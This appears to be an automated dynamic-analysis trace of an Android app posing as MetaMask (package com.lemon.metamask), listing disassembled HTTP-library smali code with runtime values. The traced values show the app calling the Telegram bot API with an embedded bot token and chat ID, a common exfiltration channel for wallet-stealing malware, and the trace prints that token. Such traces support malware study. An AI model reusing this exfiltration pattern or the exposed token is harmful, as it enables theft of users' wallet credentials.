        • java.lang.String@655dbc4
        • java.lang.String@a81a21d
        • java.lang.String@c1438e0
        • location
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/ProtocolException;
        3}
        4.end annotation
        6const-string p3, "HTTP request"
        8invoke-static {p1, p3}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        10const-string p3, "HTTP response"
        12invoke-static {p2, p3}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        14invoke-interface {p2}, Lcz/msebera/android/httpclient/HttpResponse;->getStatusLine()Lcz/msebera/android/httpclient/StatusLine;
        15move-result-object p3
        17invoke-interface {p3}, Lcz/msebera/android/httpclient/StatusLine;->getStatusCode()I
        18move-result p3
        20invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpRequest;->getRequestLine()Lcz/msebera/android/httpclient/RequestLine;
        21move-result-object p1
        23invoke-interface {p1}, Lcz/msebera/android/httpclient/RequestLine;->getMethod()Ljava/lang/String;
        • Time: 1304743
          • This:
            • cz.msebera.android.httpclient.message.BasicRequestLine@a91f656
          • Return:
            • /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied
        • Time: 1304748
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@5b846d7
          • p0: java.lang.String@c1438e0
        • Time: 1304755
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@5b846d7
          • p0: /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied
        • Time: 1304761
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@5b846d7
          • p0: java.lang.String@a81a21d
        • Time: 1304767
          • This:
            • java.lang.String@655dbc4
          • p0: [C@91c7aad
          • p0: GET /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied HTTP/1.1
          • p1: java.lang.Integer@a8cbdf
          • p2: java.lang.Integer@d4f21e2
          • Return:
            • java.lang.String@655dbc4
        • Time: 1304771
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@5b846d7
          • Return:
            • java.lang.String@655dbc4
        24move-result-object p1
        26const-string v0, "location"
        28invoke-interface {p2, v0}, Lcz/msebera/android/httpclient/HttpResponse;->getFirstHeader(Ljava/lang/String;)Lcz/msebera/android/httpclient/Header;
        29move-result-object p2
        30const/16 v0, 0x133
        31if-eq p3, v0, :cond_36
        32const/4 v0, 0x1
        33const/4 v1, 0x0
        34packed-switch p3, :pswitch_data_3c
        35return v1
        36pswitch_2a: return v0
        37pswitch_2b:
        38invoke-virtual {p0, p1}, Lcz/msebera/android/httpclient/impl/client/DefaultRedirectStrategy;->isRedirectable(Ljava/lang/String;)Z
        39move-result p1
        40if-eqz p1, :cond_34
        41if-eqz p2, :cond_34
        42goto/16 :goto_35
        43cond_34: const/4 v0, 0x0
        44goto_35: return v0
        45pswitch_36:
        46invoke-virtual {p0, p1}, Lcz/msebera/android/httpclient/impl/client/DefaultRedirectStrategy;->isRedirectable(Ljava/lang/String;)Z
        47move-result p1
        48return p1
        49nop
        APIs
        • java.lang.String.<init>
        • org.json.JSONObject.org.json.JSONObject
        • org.json.JSONObject.getString
        • java.lang.String.valueOf
        • android.util.Log.i
        Strings
        • {"ok":true,"result":{"message_id":208,"from":{"id":733454717,"is_bot":true,"first_name":"L3m0nM4sk","username":"L3m0nM4sk_bot"},"chat":{"id":556050782,"first_name":"Josh","type":"private"},"date":1549978189,"text":"Access to Password Denied"}}
        • ok
        • true
        Position Instruction Meta Information
        0new-instance p1, Ljava/lang/String;
        2invoke-direct {p1, p3}, Ljava/lang/String;-><init>([B)V
        • Time: 1305112
          • This:
            • {"ok":true,"result":{"message_id":208,"from":{"id":733454717,"is_bot":true,"first_name":"L3m0nM4sk","username":"L3m0nM4sk_bot"},"chat":{"id":556050782,"first_name":"Josh","type":"private"},"date":1549978189,"text":"Access to Password Denied"}}
          • p0: [B@30581a7
          • p0: {"ok":true,"result":{"message_id":208,"from":{"id":733454717,"is_bot":true,"first_name":"L3m0nM4sk","username":"L3m0nM4sk_bot"},"chat":{"id":556050782,"first_name":"Josh","type":"private"},"date":1549978189,"text":"Access to Password Denied"}}
          • p0: 7B226F6B223A747275652C22726573756C74223A7B226D6573736167655F6964223A3230382C2266726F6D223A7B226964223A3733333435343731372C2269735F626F74223A747275652C2266697273745F6E616D65223A224C336D306E4D34736B222C22757365726E616D65223A224C336D306E4D34736B5F626F74227D2C2263686174223A7B226964223A3535363035303738322C2266697273745F6E616D65223A224A6F7368222C2274797065223A2270726976617465227D2C2264617465223A313534393937383138392C2274657874223A2241636365737320746F2050617373776F72642044656E696564227D7D
          • Return:
            • {"ok":true,"result":{"message_id":208,"from":{"id":733454717,"is_bot":true,"first_name":"L3m0nM4sk","username":"L3m0nM4sk_bot"},"chat":{"id":556050782,"first_name":"Josh","type":"private"},"date":1549978189,"text":"Access to Password Denied"}}
        3try_start_5: new-instance p2, Lorg/json/JSONObject;
        5invoke-direct {p2, p1}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
        • Time: 1305115
          • p0: {"ok":true,"result":{"message_id":208,"from":{"id":733454717,"is_bot":true,"first_name":"L3m0nM4sk","username":"L3m0nM4sk_bot"},"chat":{"id":556050782,"first_name":"Josh","type":"private"},"date":1549978189,"text":"Access to Password Denied"}}
          • Return:
            • {"ok":true,"result":{"message_id":208,"from":{"id":733454717,"is_bot":true,"first_name":"L3m0nM4sk","username":"L3m0nM4sk_bot"},"chat":{"id":556050782,"first_name":"Josh","type":"private"},"date":1549978189,"text":"Access to Password Denied"}}
        7const-string p1, "ok"
        9invoke-virtual {p2, p1}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
        • Time: 1305119
          • This:
            • {"ok":true,"result":{"message_id":208,"from":{"id":733454717,"is_bot":true,"first_name":"L3m0nM4sk","username":"L3m0nM4sk_bot"},"chat":{"id":556050782,"first_name":"Josh","type":"private"},"date":1549978189,"text":"Access to Password Denied"}}
          • p0: ok
          • Return:
            • true
        10try_end_f: goto/16 :goto_1c
        11catch_10: move-exception p1
        13iget-object p2, p0, Lcom/lemon/metamask/Activity/MainActivity$4;->this$0:Lcom/lemon/metamask/Activity/MainActivity;
        15iget-object p2, p2, Lcom/lemon/metamask/Activity/MainActivity;->TAG:Ljava/lang/String;
        17invoke-static {p1}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
        18move-result-object p1
        20invoke-static {p2, p1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
        21goto_1c: return-void
        Cross References
        APIs
        • java.net.URI.getScheme
        • com.loopj.android.http.AsyncHttpRequest.isCancelled
        • java.net.MalformedURLException.<init>
        Strings
        • No valid URI scheme was provided
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/io/IOException;
        3}
        4.end annotation
        6invoke-virtual {p0}, Lcom/loopj/android/http/AsyncHttpRequest;->isCancelled()Z
        • Time: 1301800
          • This:
            • com.loopj.android.http.AsyncHttpRequest@134030c
          • Return:
            • false
        7move-result v0
        8if-eqz v0, :cond_7
        9return-void
        10cond_7:
        11iget-object v0, p0, Lcom/loopj/android/http/AsyncHttpRequest;->request:Lcz/msebera/android/httpclient/client/methods/HttpUriRequest;
        13invoke-interface {v0}, Lcz/msebera/android/httpclient/client/methods/HttpUriRequest;->getURI()Ljava/net/URI;
        14move-result-object v0
        16invoke-virtual {v0}, Ljava/net/URI;->getScheme()Ljava/lang/String;
        17move-result-object v0
        18if-eqz v0, :cond_55
        20iget-object v0, p0, Lcom/loopj/android/http/AsyncHttpRequest;->responseHandler:Lcom/loopj/android/http/ResponseHandlerInterface;
        21instance-of v0, v0, Lcom/loopj/android/http/RangeFileAsyncHttpResponseHandler;
        22if-eqz v0, :cond_22
        24iget-object v0, p0, Lcom/loopj/android/http/AsyncHttpRequest;->responseHandler:Lcom/loopj/android/http/ResponseHandlerInterface;
        25check-cast v0, Lcom/loopj/android/http/RangeFileAsyncHttpResponseHandler;
        27iget-object v1, p0, Lcom/loopj/android/http/AsyncHttpRequest;->request:Lcz/msebera/android/httpclient/client/methods/HttpUriRequest;
        29invoke-virtual {v0, v1}, Lcom/loopj/android/http/RangeFileAsyncHttpResponseHandler;->updateRequestHeaders(Lcz/msebera/android/httpclient/client/methods/HttpUriRequest;)V
        30cond_22:
        31iget-object v0, p0, Lcom/loopj/android/http/AsyncHttpRequest;->client:Lcz/msebera/android/httpclient/impl/client/AbstractHttpClient;
        33iget-object v1, p0, Lcom/loopj/android/http/AsyncHttpRequest;->request:Lcz/msebera/android/httpclient/client/methods/HttpUriRequest;
        35iget-object v2, p0, Lcom/loopj/android/http/AsyncHttpRequest;->context:Lcz/msebera/android/httpclient/protocol/HttpContext;
        37invoke-virtual {v0, v1, v2}, Lcz/msebera/android/httpclient/impl/client/AbstractHttpClient;->execute(Lcz/msebera/android/httpclient/client/methods/HttpUriRequest;Lcz/msebera/android/httpclient/protocol/HttpContext;)Lcz/msebera/android/httpclient/client/methods/CloseableHttpResponse;
        38move-result-object v0
        40invoke-virtual {p0}, Lcom/loopj/android/http/AsyncHttpRequest;->isCancelled()Z
        • Time: 1304974
          • This:
            • com.loopj.android.http.AsyncHttpRequest@134030c
          • Return:
            • false
        41move-result v1
        42if-eqz v1, :cond_33
        43return-void
        44cond_33:
        45iget-object v1, p0, Lcom/loopj/android/http/AsyncHttpRequest;->responseHandler:Lcom/loopj/android/http/ResponseHandlerInterface;
        47iget-object v2, p0, Lcom/loopj/android/http/AsyncHttpRequest;->responseHandler:Lcom/loopj/android/http/ResponseHandlerInterface;
        49invoke-interface {v1, v2, v0}, Lcom/loopj/android/http/ResponseHandlerInterface;->onPreProcessResponse(Lcom/loopj/android/http/ResponseHandlerInterface;Lcz/msebera/android/httpclient/HttpResponse;)V
        51invoke-virtual {p0}, Lcom/loopj/android/http/AsyncHttpRequest;->isCancelled()Z
        • Time: 1304975
          • This:
            • com.loopj.android.http.AsyncHttpRequest@134030c
          • Return:
            • false
        52move-result v1
        53if-eqz v1, :cond_41
        54return-void
        55cond_41:
        56iget-object v1, p0, Lcom/loopj/android/http/AsyncHttpRequest;->responseHandler:Lcom/loopj/android/http/ResponseHandlerInterface;
        58invoke-interface {v1, v0}, Lcom/loopj/android/http/ResponseHandlerInterface;->sendResponseMessage(Lcz/msebera/android/httpclient/HttpResponse;)V
        60invoke-virtual {p0}, Lcom/loopj/android/http/AsyncHttpRequest;->isCancelled()Z
        • Time: 1305113
          • This:
            • com.loopj.android.http.AsyncHttpRequest@134030c
          • Return:
            • false
        61move-result v1
        62if-eqz v1, :cond_4d
        63return-void
        64cond_4d:
        65iget-object v1, p0, Lcom/loopj/android/http/AsyncHttpRequest;->responseHandler:Lcom/loopj/android/http/ResponseHandlerInterface;
        67iget-object v2, p0, Lcom/loopj/android/http/AsyncHttpRequest;->responseHandler:Lcom/loopj/android/http/ResponseHandlerInterface;
        69invoke-interface {v1, v2, v0}, Lcom/loopj/android/http/ResponseHandlerInterface;->onPostProcessResponse(Lcom/loopj/android/http/ResponseHandlerInterface;Lcz/msebera/android/httpclient/HttpResponse;)V
        70return-void
        71cond_55: new-instance v0, Ljava/net/MalformedURLException;
        73const-string v1, "No valid URI scheme was provided"
        75invoke-direct {v0, v1}, Ljava/net/MalformedURLException;-><init>(Ljava/lang/String;)V
        76throw v0
        Cross References
        APIs
        • com.loopj.android.http.AsyncHttpRequest.isCancelled
        Strings
        • AsyncHttpRequest
        • makeRequestWithRetries returned error
        Position Instruction Meta Information
        1invoke-virtual {p0}, Lcom/loopj/android/http/AsyncHttpRequest;->isCancelled()Z
        • Time: 1301709
          • This:
            • com.loopj.android.http.AsyncHttpRequest@134030c
          • Return:
            • false
        2move-result v0
        3if-eqz v0, :cond_7
        4return-void
        5cond_7: iget-boolean v0, p0, Lcom/loopj/android/http/AsyncHttpRequest;->isRequestPreProcessed:Z
        6const/4 v1, 0x1
        7if-nez v0, :cond_11
        8iput-boolean v1, p0, Lcom/loopj/android/http/AsyncHttpRequest;->isRequestPreProcessed:Z
        10invoke-virtual {p0, p0}, Lcom/loopj/android/http/AsyncHttpRequest;->onPreProcessRequest(Lcom/loopj/android/http/AsyncHttpRequest;)V
        11cond_11:
        12invoke-virtual {p0}, Lcom/loopj/android/http/AsyncHttpRequest;->isCancelled()Z
        • Time: 1301716
          • This:
            • com.loopj.android.http.AsyncHttpRequest@134030c
          • Return:
            • false
        13move-result v0
        14if-eqz v0, :cond_18
        15return-void
        16cond_18:
        17iget-object v0, p0, Lcom/loopj/android/http/AsyncHttpRequest;->responseHandler:Lcom/loopj/android/http/ResponseHandlerInterface;
        19invoke-interface {v0}, Lcom/loopj/android/http/ResponseHandlerInterface;->sendStartMessage()V
        21invoke-virtual {p0}, Lcom/loopj/android/http/AsyncHttpRequest;->isCancelled()Z
        • Time: 1301775
          • This:
            • com.loopj.android.http.AsyncHttpRequest@134030c
          • Return:
            • false
        22move-result v0
        23if-eqz v0, :cond_24
        24return-void
        25cond_24:
        26invoke-direct {p0}, Lcom/loopj/android/http/AsyncHttpRequest;->makeRequestWithRetries()V
        27try_end_27: goto/16 :goto_40
        28catch_28: move-exception v0
        30invoke-virtual {p0}, Lcom/loopj/android/http/AsyncHttpRequest;->isCancelled()Z
        31move-result v2
        32if-nez v2, :cond_37
        34iget-object v2, p0, Lcom/loopj/android/http/AsyncHttpRequest;->responseHandler:Lcom/loopj/android/http/ResponseHandlerInterface;
        35const/4 v3, 0x0
        36const/4 v4, 0x0
        38invoke-interface {v2, v3, v4, v4, v0}, Lcom/loopj/android/http/ResponseHandlerInterface;->sendFailureMessage(I[Lcz/msebera/android/httpclient/Header;[BLjava/lang/Throwable;)V
        39goto/16 :goto_40
        40cond_37:
        41sget-object v2, Lcom/loopj/android/http/AsyncHttpClient;->log:Lcom/loopj/android/http/LogInterface;
        43const-string v3, "AsyncHttpRequest"
        45const-string v4, "makeRequestWithRetries returned error"
        47invoke-interface {v2, v3, v4, v0}, Lcom/loopj/android/http/LogInterface;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)V
        48goto_40:
        49invoke-virtual {p0}, Lcom/loopj/android/http/AsyncHttpRequest;->isCancelled()Z
        • Time: 1305127
          • This:
            • com.loopj.android.http.AsyncHttpRequest@134030c
          • Return:
            • false
        50move-result v0
        51if-eqz v0, :cond_47
        52return-void
        53cond_47:
        54iget-object v0, p0, Lcom/loopj/android/http/AsyncHttpRequest;->responseHandler:Lcom/loopj/android/http/ResponseHandlerInterface;
        56invoke-interface {v0}, Lcom/loopj/android/http/ResponseHandlerInterface;->sendFinishMessage()V
        58invoke-virtual {p0}, Lcom/loopj/android/http/AsyncHttpRequest;->isCancelled()Z
        • Time: 1305132
          • This:
            • com.loopj.android.http.AsyncHttpRequest@134030c
          • Return:
            • false
        59move-result v0
        60if-eqz v0, :cond_53
        61return-void
        62cond_53:
        63invoke-virtual {p0, p0}, Lcom/loopj/android/http/AsyncHttpRequest;->onPostProcessRequest(Lcom/loopj/android/http/AsyncHttpRequest;)V
        64iput-boolean v1, p0, Lcom/loopj/android/http/AsyncHttpRequest;->isFinished:Z
        65return-void
        Cross References
        APIs
        • java.net.URI.isOpaque
        • cz.msebera.android.httpclient.client.utils.URIBuilder.getPath
        Strings
        • URI
        • java.lang.String@3986b65
        • java.lang.String@3986b65
        • java.lang.String@dbcb03a
        • /
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/net/URISyntaxException;
        3}
        4.end annotation
        6const-string v0, "URI"
        8invoke-static {p0, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        10invoke-virtual {p0}, Ljava/net/URI;->isOpaque()Z
        11move-result v0
        12if-eqz v0, :cond_c
        13return-object p0
        14cond_c: new-instance v0, Lcz/msebera/android/httpclient/client/utils/URIBuilder;
        16invoke-direct {v0, p0}, Lcz/msebera/android/httpclient/client/utils/URIBuilder;-><init>(Ljava/net/URI;)V
        17const/4 p0, 0x0
        18if-eqz p1, :cond_2a
        20invoke-virtual {p1}, Lcz/msebera/android/httpclient/HttpHost;->getSchemeName()Ljava/lang/String;
        21move-result-object v1
        23invoke-virtual {v0, v1}, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->setScheme(Ljava/lang/String;)Lcz/msebera/android/httpclient/client/utils/URIBuilder;
        25invoke-virtual {p1}, Lcz/msebera/android/httpclient/HttpHost;->getHostName()Ljava/lang/String;
        26move-result-object v1
        28invoke-virtual {v0, v1}, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->setHost(Ljava/lang/String;)Lcz/msebera/android/httpclient/client/utils/URIBuilder;
        30invoke-virtual {p1}, Lcz/msebera/android/httpclient/HttpHost;->getPort()I
        31move-result p1
        33invoke-virtual {v0, p1}, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->setPort(I)Lcz/msebera/android/httpclient/client/utils/URIBuilder;
        34goto/16 :goto_34
        35cond_2a:
        36invoke-virtual {v0, p0}, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->setScheme(Ljava/lang/String;)Lcz/msebera/android/httpclient/client/utils/URIBuilder;
        38invoke-virtual {v0, p0}, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->setHost(Ljava/lang/String;)Lcz/msebera/android/httpclient/client/utils/URIBuilder;
        39const/4 p1, -0x1
        41invoke-virtual {v0, p1}, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->setPort(I)Lcz/msebera/android/httpclient/client/utils/URIBuilder;
        42goto_34: if-eqz p2, :cond_39
        44invoke-virtual {v0, p0}, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->setFragment(Ljava/lang/String;)Lcz/msebera/android/httpclient/client/utils/URIBuilder;
        45cond_39:
        46invoke-virtual {v0}, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->getPath()Ljava/lang/String;
        • Time: 1303118
          • p0: java.lang.String@3986b65
          • Return:
            • java.lang.String@3986b65
        • Time: 1303120
          • This:
            • /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied
          • Return:
            • java.lang.String@dbcb03a
        • Time: 1303117
          • This:
            • /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied
          • Return:
            • java.lang.String@3986b65
        47move-result-object p0
        49invoke-static {p0}, Lcz/msebera/android/httpclient/util/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
        50move-result p0
        51if-eqz p0, :cond_48
        53const-string p0, "/"
        55invoke-virtual {v0, p0}, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->setPath(Ljava/lang/String;)Lcz/msebera/android/httpclient/client/utils/URIBuilder;
        56cond_48:
        57invoke-virtual {v0}, Lcz/msebera/android/httpclient/client/utils/URIBuilder;->build()Ljava/net/URI;
        58move-result-object p0
        59return-object p0
        Cross References
        APIs
        • cz.msebera.android.httpclient.message.BasicRequestLine.getUri
        • java.lang.String.equalsIgnoreCase
        Strings
        • HEAD
        • /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied
        • java.lang.String@2508322
        • java.lang.String@a81a21d
        • java.lang.String@c1438e0
        Position Instruction Meta Information
        1const-string v0, "HEAD"
        3invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpRequest;->getRequestLine()Lcz/msebera/android/httpclient/RequestLine;
        4move-result-object p1
        6invoke-interface {p1}, Lcz/msebera/android/httpclient/RequestLine;->getMethod()Ljava/lang/String;
        • Time: 1304085
          • This:
            • cz.msebera.android.httpclient.message.BasicRequestLine@ad62b17
          • Return:
            • /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied
        • Time: 1304093
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@91b8b04
          • p0: java.lang.String@c1438e0
        • Time: 1304096
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@91b8b04
          • p0: /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied
        • Time: 1304104
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@91b8b04
          • p0: java.lang.String@a81a21d
        • Time: 1304114
          • This:
            • java.lang.String@2508322
          • p0: [C@28861b3
          • p0: GET /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied HTTP/1.1
          • p1: java.lang.Integer@a8cbdf
          • p2: java.lang.Integer@5485370
          • Return:
            • java.lang.String@2508322
        • Time: 1304118
          • This:
            • cz.msebera.android.httpclient.util.CharArrayBuffer@91b8b04
          • Return:
            • java.lang.String@2508322
        7move-result-object p1
        9invoke-virtual {v0, p1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
        • Time: 1304120
          • This:
            • HEAD
          • p0: java.lang.String@c1438e0
          • Return:
            • false
        10move-result p1
        11const/4 v0, 0x0
        12if-eqz p1, :cond_12
        13return v0
        14cond_12:
        15invoke-interface {p2}, Lcz/msebera/android/httpclient/HttpResponse;->getStatusLine()Lcz/msebera/android/httpclient/StatusLine;
        16move-result-object p1
        18invoke-interface {p1}, Lcz/msebera/android/httpclient/StatusLine;->getStatusCode()I
        19move-result p1
        20const/16 p2, 0xc8
        21if-lt p1, p2, :cond_2b
        22const/16 p2, 0xcc
        23if-eq p1, p2, :cond_2b
        24const/16 p2, 0x130
        25if-eq p1, p2, :cond_2b
        26const/16 p2, 0xcd
        27if-eq p1, p2, :cond_2b
        28const/4 v0, 0x1
        29cond_2b: return v0
        Cross References
        APIs
        • cz.msebera.android.httpclient.impl.conn.DefaultClientConnection.isSecure
        • java.io.InterruptedIOException.<init>
        Strings
        • Route
        • HTTP parameters
        • Connection already open
        • Request aborted
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/io/IOException;
        3}
        4.end annotation
        6const-string v0, "Route"
        8invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        10const-string v0, "HTTP parameters"
        12invoke-static {p3, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        14iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/AbstractPoolEntry;->tracker:Lcz/msebera/android/httpclient/conn/routing/RouteTracker;
        15if-eqz v0, :cond_1b
        17iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/AbstractPoolEntry;->tracker:Lcz/msebera/android/httpclient/conn/routing/RouteTracker;
        19invoke-virtual {v0}, Lcz/msebera/android/httpclient/conn/routing/RouteTracker;->isConnected()Z
        20move-result v0
        21xor-int/lit8 v0, v0, 0x1
        23const-string v1, "Connection already open"
        25invoke-static {v0, v1}, Lcz/msebera/android/httpclient/util/Asserts;->check(ZLjava/lang/String;)V
        26cond_1b: new-instance v0, Lcz/msebera/android/httpclient/conn/routing/RouteTracker;
        28invoke-direct {v0, p1}, Lcz/msebera/android/httpclient/conn/routing/RouteTracker;-><init>(Lcz/msebera/android/httpclient/conn/routing/HttpRoute;)V
        29iput-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/AbstractPoolEntry;->tracker:Lcz/msebera/android/httpclient/conn/routing/RouteTracker;
        31invoke-virtual {p1}, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;->getProxyHost()Lcz/msebera/android/httpclient/HttpHost;
        32move-result-object v0
        34iget-object v1, p0, Lcz/msebera/android/httpclient/impl/conn/AbstractPoolEntry;->connOperator:Lcz/msebera/android/httpclient/conn/ClientConnectionOperator;
        36iget-object v2, p0, Lcz/msebera/android/httpclient/impl/conn/AbstractPoolEntry;->connection:Lcz/msebera/android/httpclient/conn/OperatedClientConnection;
        37if-eqz v0, :cond_2e
        38move-object v3, v0
        39goto/16 :goto_32
        40cond_2e:
        41invoke-virtual {p1}, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;->getTargetHost()Lcz/msebera/android/httpclient/HttpHost;
        42move-result-object v3
        43goto_32:
        44invoke-virtual {p1}, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;->getLocalAddress()Ljava/net/InetAddress;
        45move-result-object v4
        46move-object v5, p2
        47move-object v6, p3
        49invoke-interface/range {v1 .. v6}, Lcz/msebera/android/httpclient/conn/ClientConnectionOperator;->openConnection(Lcz/msebera/android/httpclient/conn/OperatedClientConnection;Lcz/msebera/android/httpclient/HttpHost;Ljava/net/InetAddress;Lcz/msebera/android/httpclient/protocol/HttpContext;Lcz/msebera/android/httpclient/params/HttpParams;)V
        51iget-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/AbstractPoolEntry;->tracker:Lcz/msebera/android/httpclient/conn/routing/RouteTracker;
        52if-eqz p1, :cond_55
        53if-nez v0, :cond_4b
        55iget-object p2, p0, Lcz/msebera/android/httpclient/impl/conn/AbstractPoolEntry;->connection:Lcz/msebera/android/httpclient/conn/OperatedClientConnection;
        57invoke-interface {p2}, Lcz/msebera/android/httpclient/conn/OperatedClientConnection;->isSecure()Z
        • Time: 1302995
          • This:
            • cz.msebera.android.httpclient.impl.conn.DefaultClientConnection@4c441d4
          • Return:
            • true
        58move-result p2
        60invoke-virtual {p1, p2}, Lcz/msebera/android/httpclient/conn/routing/RouteTracker;->connectTarget(Z)V
        61goto/16 :goto_54
        62cond_4b:
        63iget-object p2, p0, Lcz/msebera/android/httpclient/impl/conn/AbstractPoolEntry;->connection:Lcz/msebera/android/httpclient/conn/OperatedClientConnection;
        65invoke-interface {p2}, Lcz/msebera/android/httpclient/conn/OperatedClientConnection;->isSecure()Z
        66move-result p2
        68invoke-virtual {p1, v0, p2}, Lcz/msebera/android/httpclient/conn/routing/RouteTracker;->connectProxy(Lcz/msebera/android/httpclient/HttpHost;Z)V
        69goto_54: return-void
        70cond_55: new-instance p1, Ljava/io/InterruptedIOException;
        72const-string p2, "Request aborted"
        74invoke-direct {p1, p2}, Ljava/io/InterruptedIOException;-><init>(Ljava/lang/String;)V
        75throw p1
        APIs
        • cz.msebera.android.httpclient.HttpHost.toURI
        Strings
        • http.auth.target-scope
        • http.auth.credentials-provider
        • http.target_host
        • api.telegram.org
        • java.lang.String@b2958e1
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/HttpException;,
        3Ljava/io/IOException;
        4}
        5.end annotation
        7const-string p1, "http.auth.target-scope"
        9invoke-interface {p2, p1}, Lcz/msebera/android/httpclient/protocol/HttpContext;->getAttribute(Ljava/lang/String;)Ljava/lang/Object;
        10move-result-object p1
        11check-cast p1, Lcz/msebera/android/httpclient/auth/AuthState;
        13const-string v0, "http.auth.credentials-provider"
        15invoke-interface {p2, v0}, Lcz/msebera/android/httpclient/protocol/HttpContext;->getAttribute(Ljava/lang/String;)Ljava/lang/Object;
        16move-result-object v0
        17check-cast v0, Lcz/msebera/android/httpclient/client/CredentialsProvider;
        19const-string v1, "http.target_host"
        21invoke-interface {p2, v1}, Lcz/msebera/android/httpclient/protocol/HttpContext;->getAttribute(Ljava/lang/String;)Ljava/lang/Object;
        22move-result-object p2
        23check-cast p2, Lcz/msebera/android/httpclient/HttpHost;
        25invoke-virtual {p1}, Lcz/msebera/android/httpclient/auth/AuthState;->getAuthScheme()Lcz/msebera/android/httpclient/auth/AuthScheme;
        26move-result-object v1
        27if-nez v1, :cond_3c
        28new-instance v1, Lcz/msebera/android/httpclient/auth/AuthScope;
        30invoke-virtual {p2}, Lcz/msebera/android/httpclient/HttpHost;->getHostName()Ljava/lang/String;
        • Time: 1303127
          • This:
            • https://api.telegram.org
          • Return:
            • java.lang.String@b2958e1
        • Time: 1303127
          • This:
            • https://api.telegram.org
          • Return:
            • api.telegram.org
        31move-result-object v2
        33invoke-virtual {p2}, Lcz/msebera/android/httpclient/HttpHost;->getPort()I
        34move-result p2
        36invoke-direct {v1, v2, p2}, Lcz/msebera/android/httpclient/auth/AuthScope;-><init>(Ljava/lang/String;I)V
        38invoke-interface {v0, v1}, Lcz/msebera/android/httpclient/client/CredentialsProvider;->getCredentials(Lcz/msebera/android/httpclient/auth/AuthScope;)Lcz/msebera/android/httpclient/auth/Credentials;
        39move-result-object p2
        40if-eqz p2, :cond_3c
        41new-instance v0, Lcz/msebera/android/httpclient/impl/auth/BasicScheme;
        43invoke-direct {v0}, Lcz/msebera/android/httpclient/impl/auth/BasicScheme;-><init>()V
        45invoke-virtual {p1, v0}, Lcz/msebera/android/httpclient/auth/AuthState;->setAuthScheme(Lcz/msebera/android/httpclient/auth/AuthScheme;)V
        47invoke-virtual {p1, p2}, Lcz/msebera/android/httpclient/auth/AuthState;->setCredentials(Lcz/msebera/android/httpclient/auth/Credentials;)V
        48cond_3c: return-void
        APIs
        • cz.msebera.android.httpclient.message.BasicHeaderElementIterator.hasNext
